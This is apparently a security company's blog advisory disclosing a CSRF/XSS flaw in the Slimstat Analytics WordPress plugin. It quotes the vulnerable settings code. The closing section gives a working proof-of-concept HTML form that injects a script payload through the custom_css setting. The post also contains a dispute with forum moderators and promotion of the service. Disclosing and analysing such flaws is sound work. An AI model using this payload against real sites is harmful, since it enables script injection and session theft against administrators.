22 May

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Slimstat Analytics

Yesterday we detailed a persistent cross-site scripting (XSS) vulnerability in the plugin Slimstat Analytics and about the same time the discoverer of the vulnerability Sucuri had released a post with similar details, but notably silent about how the vulnerability was fixed. We are not sure why they didn’t include that, but it is important since the fix was less than ideal as instead of using the relevant WordPress escaping function the developer used code that did a more limited version of that function (yesterday we notified the developer that could be better handled). It is always a good idea to not to roll your own security code when you don’t need to, so what happened there might be a sign that the developer doesn’t have the best handle on dealing with the security of WordPress plugins.

That is further backed up by a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability we found in the plugin, which we noticed by chance while figuring out what versions were impacted by the other vulnerability so that we could let them know if versions of the plugin used on their websites were impacted. We noticed part of that vulnerability while looking at a fairly old version, so we suspected it would have been noticed and fixed by now considering the plugin has 100,000+ active installations according to wordpress.org, but that isn’t the case.

When accessing the plugin’s setting page, which by default only Administrators can access, the function wp_slimstat_include_config() is run and that in turns causes the code in the file /config/index.php to run:

728
729
730
public static function wp_slimstat_include_config() {
	include( dirname( __FILE__ ) . '/config/index.php' );
}

In that file the function update_settings() is called, which as you can guess, updates settings:

252
wp_slimstat_admin::update_settings( $settings[ $current_tab ][ 'rows' ] );

That function, which is located in the file /admin/wp-slimstat-admin.php, will update settings without checking for a valid nonce to prevent cross-site request (CSRF) and without doing any sanitization:

1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
public static function update_settings( $_settings = array() ) {
 
	// Nothing to do, if there is no data to be parsed
	if ( !isset( $_POST[ 'options' ] ) || empty( $_settings ) ) {
		return true;
	}
 
	foreach( $_settings as $_setting_slug => $_setting_info ) {
		// Some options require a special treatment and are updated somewhere else
		if ( isset( $_setting_info[ 'skip_update' ] ) || isset( $_setting_info[ 'readonly' ] ) || $_setting_info[ 'type' ] == 'section_header' ) {
			continue;
		}
 
		// An empty toggle option is saved in the database as 'no'
		if ( $_setting_info[ 'type' ] == 'toggle' && ( !isset( $_POST[ 'options' ][ $_setting_slug ] ) || strtolower( $_POST[ 'options' ][ $_setting_slug ] != 'on' ) ) ) {
			wp_slimstat::$settings[ $_setting_slug ] = 'no';
		}
		else if ( isset( $_POST[ 'options' ][ $_setting_slug ] ) ) {
			wp_slimstat::$settings[ $_setting_slug ] = $_POST[ 'options' ][ $_setting_slug ];

Based on past experience, one setting that seemed likely to lead to create a vulnerability with those issues in place is the

485
wp_add_inline_style( 'wp-slimstat', wp_slimstat::$settings[ 'custom_css' ] );

That function runs when accessing various admin pages, so with this vulnerability could allow an attacker to cause a logged in Administrator to add malicious JavaScript to various pages they would then access.

That is not the only place in the admin area of the plugin missing CSRF protection.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown on the admin dashboard of WordPress, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=slimconfig&tab=4" method="POST">
<input type="hidden" name="options[custom_css]" value="</style><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *